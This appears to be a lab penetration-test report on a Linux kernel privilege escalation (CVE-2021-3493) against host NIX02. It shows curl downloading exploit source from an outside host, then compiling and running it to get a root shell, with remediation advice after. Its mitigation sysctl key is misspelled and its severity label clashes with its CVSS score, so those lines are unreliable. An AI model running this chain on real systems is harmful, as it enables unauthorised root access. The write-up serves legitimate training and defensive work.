

PENETRATION TESTING FINDING REPORT

Local Privilege Escalation via Kernel Exploitation

Vulnerability Name	Local Privilege Escalation (LPE) via Linux Kernel OverlayFS
CVE Reference	CVE-2021-3493
Severity	CRITICAL
CVSSv3 Score	7.8 (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
Affected Asset	NIX02
Target Flag	46237b8aa523bc7e0365de09c0c0164f
Remediation Status	Fix Required

Executive Summary

During the security assessment of the **NIX02** server, an outdated Linux kernel vulnerability was identified. A local user account with standard, non-administrative privileges (`htb-student`) successfully executed a specialized exploit targeting a known flaw within the kernel's OverlayFS subsystem (**CVE-2021-3493**). This flaw allows unprivileged users to bypass standard filesystem permission checks, granting them the ability to execute code with full administrative (`root`) privileges and access restricted areas of the file system.

Technical Analysis & Proof of Concept (PoC)

1. System Reconnaissance

Initial enumeration was performed on the active system to profile the underlying operating system distribution and the running kernel release version.

```
htb-student@NIX02:~$ uname -a
Linux NIX02 4.15.0-76-generic #86-Ubuntu SMP Fri Jan 17 17:24:28 UTC 2020 x86_64 x86_64
x86_64 GNU/Linux

htb-student@NIX02:~$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=18.04
DISTRIB_CODENAME=bionic
DISTRIB_DESCRIPTION="Ubuntu 18.04.6 LTS"
```

Analysis: The target is running **Ubuntu 18.04.6 LTS** on Linux Kernel **4.15.0-76-generic**. This specific release is confirmed vulnerable to CVE-2021-3493 because the kernel's implementation of OverlayFS fails to properly validate file capabilities when setting them from within an unprivileged user namespace.

2. Exploitation Phase

The exploit code leverages user namespaces to mount an OverlayFS file system and set arbitrary file capabilities (such as `SUID`) on a binary. Because the kernel fails to properly restrict this action, the capability is honored outside the namespace context.

File Transfer Troubleshooting

An initial attempt was made to download the exploit payload via `curl`. However, an incorrect URI (`/shell.c`) returned a standard HTML `404 Not Found` error from the hosting server, causing compilation to fail.

```
htb-student@NIX02:~$ curl http://10.10.15.154:8000/shell.c -o shell.c
htb-student@NIX02:~$ gcc shell.c -o shell
shell.c:1:1: error: expected identifier or '(' before '<' token
<!DOCTYPE HTML>
```

Successful Execution

The payload was re-requested using the correct resource path (`/exploit.c`), saved as `shell.c`, successfully compiled via `gcc`, and executed.

```
# Removing the broken HTML file and pulling the correct C source code
htb-student@NIX02:~$ rm shell.c
htb-student@NIX02:~$ curl http://10.10.15.154:8000/exploit.c -o shell.c

# Compiling the local exploit binary
htb-student@NIX02:~$ gcc shell.c -o shell

# Executing the exploit to spawn an interactive root shell
htb-student@NIX02:~$ ./shell
bash-4.4# whoami
root
```

3. Post-Exploitation & Data Retrieval

Upon acquiring administrative access (`root`), navigation to the restricted `/root/kernel_exploit` directory was performed to read the target flag, confirming full compromised status.

```
bash-4.4# ls
lynis-master  master.zip  ovlcap  shared_obj_hijack  shell  shell.c

bash-4.4# cd /root/kernel_exploit
bash-4.4# ls
flag.txt

bash-4.4# cat flag.txt
46237b8aa523bc7e0365de09c0c0164f
```

Impact

Successful exploitation results in a complete compromise of the operating system's confidentiality, integrity, and availability. An attacker with `root` privileges can:

- Access, alter, or extract sensitive data, credentials, and configuration files across the entire system (as demonstrated by reading `flag.txt`).
- Install persistent backdoors, rootkits, or malicious services to guarantee permanent access.
- Utilize the compromised host as a network pivot point to launch further attacks against internal network infrastructure.

Remediation Recommendations

1. Kernel Patch Management (Primary Action)

- **Action:** Upgrade the Linux kernel to a patched version provided by the distribution upstream. For Ubuntu 18.04 LTS, the vulnerability was mitigated in kernel updates released after April 2021.

- **Command:** Run the standard update sequence to update the system kernel packages:

```
sudo apt-get update && sudo apt-get --only-upgrade install linux-image-generic
```

- *Note: A system reboot is required following the installation of a new kernel binary for the changes to take effect.*

2. Restrict Unprivileged User Namespaces (Temporary Mitigation)

- **Action:** If an immediate reboot or kernel upgrade is restricted due to operational uptime requirements, disable unprivileged user namespaces to block the vector used by the exploit.
- **Command:** Execute the following command to apply the restriction instantly:

```
sudo sysctl -w kernel.unprivileged_usersns_clone=0
```

- **Persistence:** To make this change persistent across system reboots, add the configuration line to `/etc/sysctl.conf`:

```
kernel.unprivileged_usersns_clone=0
```